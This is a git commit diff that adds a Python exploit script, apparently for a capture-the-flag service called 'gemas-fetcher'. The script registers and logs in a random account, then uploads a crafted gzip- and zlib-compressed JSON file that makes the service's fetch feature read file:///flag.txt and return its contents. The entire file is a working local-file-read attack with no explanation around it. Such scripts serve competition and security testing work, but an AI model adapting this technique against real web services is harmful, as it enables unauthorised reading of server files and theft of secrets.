Initial commit

exploits.old/gemas-fetcher/exploit.py

@@ -0,0 +1,30 @@
+import requests, random, string, base64, gzip, zlib, json, sys
+
+HOST = sys.argv[1]
+PORT = 16000
+
+def random_string(length):
+    charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
+    return ''.join(random.choice(charset) for i in range(length))
+
+def exploit():
+    sess = requests.Session()
+
+    ## register
+    username = random_string(5)
+    password = random_string(5)
+    r = sess.post(f"http://{HOST}:{PORT}/auth/register", data={"username":username,"password": password}, allow_redirects=False)
+
+    ## login
+    r = sess.post(f"http://{HOST}:{PORT}/auth/login", data={"username":username,"password": password}, allow_redirects=False)
+
+    ## exploit python
+    content = {"provider": "python","url":" file:///flag.txt"}
+    files = {"file": ("visit", b"\x00\x02"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
+    r = sess.post(f"http://{HOST}:{PORT}/dashboard/fetch_by_file", files=files)
+    b64_string = r.text
+    b64_string += "=" * ((4 - len(b64_string) % 4) % 4)
+    print(base64.b64decode(b64_string).decode())
+
+if __name__ == "__main__":
+    exploit()